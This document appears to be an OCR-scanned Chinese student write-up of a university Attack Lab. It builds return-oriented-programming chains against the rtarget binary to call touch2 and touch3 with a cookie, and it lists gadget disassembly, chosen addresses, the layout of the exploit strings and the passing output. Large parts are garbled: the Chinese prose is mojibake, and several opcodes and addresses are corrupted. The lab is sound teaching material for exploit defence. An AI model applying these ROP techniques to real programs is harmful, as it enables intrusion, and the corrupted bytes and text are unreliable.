$0xc3c78948,%eax

$0x95c15827 ,%eax

$0x1,%eax

0000000000401b15 <setval_476>:
401b15: c7 07 89 ca 90
401b1b: c3

0000000000401blc <addval_322>:
401bic: 8d 87 48 89 e0
401b22: (653

0000000000401b23 <addval_456>:
401b23: 8d 87 09 d6 84
401b29: (5}

0000000000401b2a <addval_283>:
401b2a: 8d 87 89 c1 90
401b30: c3

0000000000401b31 <getval_252>:
401b31: b8 21 89 d6 90
401b36: c3

0000000000401b37 <getval 221>:
401b37: b8 a9 ca 38 c9
401b3c: c3

0000000000401b3d <getval_351>:
401b3d: b8j89 c1 91 c3
401b42: (65}

0000000000401b43 <getval_483>:
401b43: b8 89 c1 94 c3
401b48: (5)

-0x3c1f76b8(%rdi),%eax

-0x2d7b29f7(%rdi) ,%eax

-0x6f613e77(%rd1i),%eax

$0x90d68921 ,%eax

$0xc938caag,%eax

$0xc391c189,%eax

$0xc394c189,%eax



0000000000401b49 <getval 358>:
401b49: b8 89 ca 00 d2
401bde: c3

0000000000401b4f <setval 448>:
401b4f: c7 07 89 d6 c1
401b55: c3

0000000000401b56 <getval_376>:
401b56: b8 89 cl1 18 c0O
401b5b: c3

0000000000401b5¢c <addval_168>:
401b5c: 8d 87 89 ca c4
401b62: c3

0000000000401b63 <addval 326>:
401b63: 8d 87 48 89 eO
401b69: c3

0000000000401b6a <addval_180>:
401bb6a: 8d 87 09 ca 84
401b70: c3

0000000000401b71 <setval_420>:
401b71: c7 07 89 ca 60
401b77: c3

0000000000401b78 <setval_ 156>:
401b78: c7 07 a9 d6 c3
401b7e: c3

0000000000401b7f <Bddval_187>:
401b7f: 8d 87 48 89 e0O
401b85: (65}

0000000000401b86 <getval 205>:
401b86: b8 07 89 cl c2

PR A AT R I -
] touch? PRZX.
AT gadget £

iék

ety

mov $0xd200ca89,%eax
retq

mov1l $0xcec1d689, (%rdi)
retq

mov $0xc018c189,%eax
retq

lea -0x3f3b3577(%rdi),%eax
retq

lea -0x6d1f76b8(%rdi),%eax
retq

lea -0x2d7b35f7(%rd1i),%eax
retq

movl $0xdb60ca89, (%rdi)
retq

movl $0x48c3d6a9g, (%rdi)
retq

lea -0x6b1f76b8(%rd1i),%eax
retq

mov $0xc2c18907 ,%eax

0000000000401bd0 <setval_401>:
401bd0: c7 07 7a c9 cl c3
401bd6: G3

0000000000401bd7 <getval_108>:
401bd7: b8 48 89 eO c3
401bdc: c3

0000000000401bdd <setval_206>:
401bdd: c7 07 89 d6 28 d2
401be3: c3

0000000000401be4 <end_farm>:

401be4: b8 01 00 00 00
401be9: c3

40~ 44, start_farm#|end_farmAyL g 5 B
test PAEL—>1E ] getbuf—>31R [1] gadget % (FF val {ELEUN, cookie) —>i&

0000000000401b8c <setval_272>:
401b8c: c7 07 89 ca 38
401b92: @3}

0000000000401b93 <addval_253>:
401b93: 8d 87 48 89 e0O
401b99: c3)

0000000000401b9a <setval_344>:
401b9a: c7 07 a9 d6 08
401bab: (e3}

0000000000401bal <setval_ 139>:
401bal: c7 07 48 81 e0
401ba7: c3

0000000000401ba8 <setval_ 189>:
401ba8: c7 07 94 89 d6
401bae: c3

0000000000401baf <setval_449>:
401baf: c7 07 89 cl c4
401bb5: c3

0000000000401bb6 <getval_ 102>:
401bb6: b8 89 ca a4 db
401bbb: c3

0000000000401bbc <addval_468>:
401bbc: 8d 87 36 07 8d
401bc2: c3

0000000000401bc3 <fetval 383>:
401bc3: b8 48 89 €0 94
401bc8: c3

0000000000401bc9 <addval_367>:
401bc9: 8d 87 48 89 e0

$0xc3cic97a, (%rdi)

$0xc3e08948,%eax

$0xd228d689, (%rdi)

$0x1,%eax

14 popq %rdi, P BLHE AR R

$0xc938ca89, (%rdi)

-0x6e1f76b8(%rd1i),%eax

$0xdb08d6a9, (%srdi)

$0xc3e08148, (%rdi)

$0x90d68994, (%rdi)

$0xd2c4c189, (%rdi)

$0xdbadca89,%eax

-0x2972f8ca(%rdi),%eax

$0x94e08948 ,%eax

-0x6e1f76b8(%rdi),%eax

kS

BLRA

T8

Znp Xk A (JLIRIT)

popq %rdi 541k

T Bk 211% gadget

cookie {H

AT popq Yerdi $52-H i
B, fEA%rdi FF7AE T

8 T

PRZY touch2 HyHbAE

T k%] touch2

TFEEHN (K 39) |, pop %rdi XV AHLESICHS R 5f. FE vim T A/GE IGRIZE, JELEH o
AT R of AOME, IFBA AT HAY gadget.
B2, EHAREPEIRE X LA B AL pop Y%rax X AISEL, B 58; PAMEZ



mov %rax, %rdi X} IS EE, Bl 48 89 ¢7. PA(90) c3 &5 A TR AT A B gadget (& 45.
RefdiH .

AFFAEEERE (B 47, 48, 51) A

46. 49. 50)
0000000000401aea <getval 223>:
401aea: b8 8 90 90 90 mov $0x90909058 ,%eax
401aef: c3 retq
0000000000401af® <setval 353>:
401af0: c7 07 c2 §8 90 90 movl $0x909058c2, (%rdi)
401af6: c3 retq
Kl45~46. o AHJpopq Yrax
0000000000401ad6 <addval 302>:
401ad6: 8d 87 E8 c2 95 2c lea 0x2¢95¢258(%rdi),%eax
401adc: c3 retq
0000000000401afd <getval 403>:
401afd: b8 27 58 c1 95 mov $0x95c1827,%eax
401b02: c3 retq
E47~48. AvJFHBpopq Y%rax
0000000000401add <getval_246>:
401add: b8 89 c7 c3 mov $0xc3c78948 ,%eax
401ae2: c3 retq
0000000000401af7 <getval _356>:
401af7: b8 8 89 c7 c3 mov $0xc3c78948,%eax
401afc: c3 retq
&]49~50. T AHImovq Y%rax Y%rdi
0000000000401ae3 <addval_355>:
401ae3: 8d 87 A8 89 c7 91 lea -0x6e3876b8(%rd1i),%eax
4013e9: c3 retq
E51. Ao HAmovg Y%rax Y%rdi
gi b, FEEATAFER R
K IES i
24 4 fEi% SR A (T ET)
8 ¥ popq Y%rax 521 ik T Bki% 3% gadget
. ‘ AT popq %rdi F54HT H
8 T cookie {H. ‘
¥, T A%rdi Ffres
8 | mov %rax %rdi 5L T Bk 2% gadget
8 FT PRI touch2 Atk T k%3] touch2
Kl 49 1Y gadget,

% B E 45 B gadget, pop %rax 78 2 Hidk A 0x0000000000401aeb ;

mov %rax, %rdi $§2-H41kA 0x0000000000401ade.



Hy #E & B BE W] R cookie fH M 0x32046301; H B B 2 52 56 W] 0 BR %X touch2 Hb ik Ay
0x0000000000401911.

B4 vihexd.txt, WEUT 16 FEHlEA. 7T 24 FATAENRATERA, ZJEH) 25~
32 T4 pop %rax 8L, 33 ~ 40 FHTN cookie fH; 41 ~ 48 F5 A mov %rax, %rdi 54
HshEs BT 8 FAT N B touch2 AL, DA_EHER /NG,

El52: hex4.txt

3. AT, L
#y A Jhex2raw < hex4.txt | /ctarget, @7~ pass, MrEt 4 45
2022211073@buptl:~/target102$ ./hex2raw < hex4.txt | ./rtarget

Cookie: 0x32046301
Type string:Touch2!: You called touch2(0x32046301)

Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

53. BiER 4 @it
(73) BrBes
1. AAEUHS, WLt

RGBTSR, BB 5 XS IR H SRR AT rtarget, HFRATEESEIE touch3 HYBEIH A .

[l — T B 3, FAHTEART Bz LM 25 cookie I FAFHRFRRAFARRH, FFFFuhl
FEN B Fir%rdi 1, PABZE (% A touch3 HYZZ & sval HYMH.

TEBTEL 3 1Y, cookie FAFH P HARAFAERRAL test HURR M, FRATH FTARATA W7 AL %rsp
PESERE SR HE, AT 22 0h KB AR A A %ordi FFfEde . AHr BRI B 3 A
[ T

(1) rtarget BEH) TARBEBLEEAR, Yorsp RIEATIE, ToIREEAENSLAIEAEA ., HIEAMS
SR n] DAYE gadget i B E%rsp 2RI cookie AL
(2) Ml AR TR AFATBITHY gadget B8, PILFR LTS SMRIE gadget HIXR T4 cookie



HHEFAXS Yorsp IS &
R, ARBr BT 552 715 cookie FATERRYHBAE  (RM%rspHimfest) |, F4% Ad%rdi .
TN, SERVIEEUFRAT, BRT popa, movq F§ALASL, WATLAHE movl $§4 B H S
FEBERTFE 8 gadget, HAZHE—H),
2. BRILHNAN, REWMATIS
i arark NGO R

K LEA |
24 FAY (A=A o kA (JoIEAT)
cookie A R AR
T8 cookie FAFER AL, KFEEHRE AR A fFdsa N ~
— =Yorsp s L
v BRI 0 ISR A 27 280%rdi
PR touch3 Ay HthE HF k%3 touchd
8 FT cookie M FAFHE RN

BG, EARNBIATR B MIE%rsp BI{E. HT%rsp ik, ANEEEWT N%esp, LA
HTETE gadget farm H A1) movq %rsp, dst FUFE4S (48 89 e0~48 89¢e7) , JLTH % & movl $52:
HEFF A E R movg %rsp, Y%rax 84, X AIHLES ISR 48 89 €0, Hidikky 0x401bdS.

0000000000401bd7 <getval 108>:
401bd7: bg Fl8 89 e0 c3 mov $0xc3e08948,%eax

401bhdc: c3 retq

54. movq Y%rsp, Y%rax
T RIRATEESLIN cookie FATHHbE=orsp 5 BV HAE, RIEH lea B add #EAESEIE,
B2 LI U B ) FA8 I AR IR AT U . 22l B, B AFE 2 vifarm.c, KILZIFEARY
4 PR add_xy B SRR H Ok

add_xy(

return x+y;

0000000000401b09 <add xy>:
401b09: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401b0d: c3 retq

& 55. 56. add_xy JBRHD. CRALRL
SRR B add_xy FUHLIEA 0x401b09., WRELREEL add_xy RUILSRACAY, &30 HIm e w1 ik



TE%rdi. Yorsi AFFastH, M Eerax ZRArash. I, Yorsp FOMEFIRFS 5 75 40 B SEA7
A%rdi. %rsi A7, FEVE M add_xy PRECSEEUARIN. AT45 57678 JRF o7 BRI A% 58 F%rsp 77
AR AF#%rdi. Y%rsi 1.

SRV B w A, FTAS BB 4 A, W FAF R AR L ERR, PR popg 154
54 B 27 A74% . 7E gadget farm " AL popq 84 (58 ~ 5f) -

FENFFE KM popg Yrax F52, X AHLERACRS N 58, Hidik>hy 0x401aeb.

0000000000401aea <getval 223>:
401aea: b8 58 90 90 90 mov $0x90909058 ,%eax

401aef: £3 retq
57. popq Yrax
H Al AR H2%rsp b 2w B A rar%rdi. SR ImEE A7 A%rdi, %rsp 77 A%rsi.
A EEI%rsp f7- A%rsi, TF gadget farm HPATTH) movg %rax, %rsi (48 89 ¢6) 154, AETE; -
KU, A5 movq %rax, dst (48 89 c0 ~ 48 89 ¢7)
B —FhFF A K movq Y%rax, %rdi $54, XM FIHLAR ISR 48 89 ¢7, Hutikhy Ox401ade.

0000000000401add <getval 246>:
401add: bg [8 89 c¢7 c3 mov $0xc3c78948,%eax

401ae2: c3 retq

58. movq Yrax, Yrdi

PRI, Yorsp HAESEFEA%rax, FAFEA%rdi, ZHIAER RN . X2 FEAF S ke
K, AEEH movl Fa#kWr, MiimAEER/DN, WA M movl $584-. BIFERIAES5 RN,
Rt e AYersi H, % 18 movl 54,

TF gadget farm H A1) movl sre, dst $§2 (89 c0~ 89 ff) , FkZ| T4 W HAY gadget:

movl %eax, Y%edi, XN AIHLARCAS R 89 ¢7, Hudik Ay Ox401adf;

movl %ecx, %edx, XfHIHLAFCIE N 89 ca, HihkJy 0x401b17;

movl %esp, %eax, XfMAIHLERCIL N 89 0, HihikSh 0x401b1f;

movl %eax, %ecx, X MAIHLERIUS 89 c1, HBhikoy 0x401b2c;

movl %edx, %esi, X HIHLERUAS 89 d6, HihkA 0x401b33.

0000000000401add <getval 246>:
401add: bg 18 89 c7 c3 mov $0xc3c78948,%eax

401ae2: c3 retq

59. movl Y%eax, %edi

0000000000401b15 <setval 476>:
401b15: c7 07 B9 ca 90 c3 movl  $0xc390cad9, (%rdi)

401bilb: c3 retq

& 60: movl %ecx, %edx



0000000000401blc <addval 322>:

401bic: 8d 87 48_E9 ed c3 lea -0x3c1f76b8(%rd1i),%eax
401b22: G3 retq

61. movl Y%eso, Y%eax

0000000000401b2a <addval 283>:
401b2a: 8d 87 @9 cl 90 90 lea -0x6T6f3e77(%rd1),%eax
401b30: c3 retq

B 62:. movl %eax, %edi

0000000000401b31 <getval 252>:
401b31: b8 21 {9 d6 90 mov $0x90d68921 ,%eax

401b36: c3 retq

& 63: movl %edx, Y%esi
Fr AR AL 217 A%rsi BIF5 251 R -

popq %rax

movl %eax, %ecx

movl %ecx, Yedx

movl %edx, %esi
Lk B, BATH MR AF 5 AN

KE NE Ui
24 T (5 Zenp Xk A (JLIAIAT)
movq %rsp, %rax

Hodik 0x401bd8

Ri%rsp HidkAFE A Y%erdi

movq %rax, %rdi

HbAk 0x401ade

popq %rax
Hodik 0x401aeb
fwt% fwt%
movl %eax, %ecx

Hihik 0x401b2¢ R mA% m A A Yorsi

movl %ecx, Yedx

HbAk 0x401b17

movl %edx, %esi

Hbtik 0x401b33




lea (%rdi, %rsi, 1), %rax PR%Y add_xy, 115 cookie Hiitil
Hhik 0x401b09 (EN%rsp+wts &)

movq %rax, %rdi .
A% val “N cookie P ER

Hihlk 0x401ade
PRAN touch3 HyHAE 0x401a2a T B3] touch3
8 F3 cookie I TFAFER RN 33323034 36333031

BANE LR 8 T, IR 10%8-8=72 (0x48) , X2 getbuf 41T ret 5,

RIS $T%rsp+8, AHM. M s 5t -8.
WRIEU LA R E A TATR . BAGL vihexb.txt, ST 16 2EHlHA.

64 . hexb.txt
3. BATREFY, HhiE T
G A2 Jhex2raw < hexb.txt | rtarget, E7R~ pass, FrEx 5 45K,

S

2022211073@buptl:~/target102$ ./hex2raw < hex5.txt | ./rtarget

Cookile: 0x32046301
Type string:Touch3!: You called touch3("32046301")

Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
N 0B!

65. BAEX bi@id



N WARFEH
TESEMAYSIRE R, F 0405 DA T 45 LI AT 7 T S 7

AN, FibZ% T AT BERE

IR HIRFH, A WA AL E AR S0k T BRI S5 4.

FAHAL S T ARSI B A B Z ANA TR AR, At st gatd. PRSI
Fg EHUAGE, MOA_EJ7 ARG A (5 BAE—E AR Bk 1 SR IR rgXERE, wl BEZ i -0
MR AN, ANERFEEASME R, LRGeS Hrie.

ARG BA M FE R (BREESHE) BESE R SR TR ORI, h X

% ZEREREN.
o 5 XM T T R S LA T LR SE i I Hs T
FAFREHALE, DA BRI AR L, Al i, RS AL I 0 70 it
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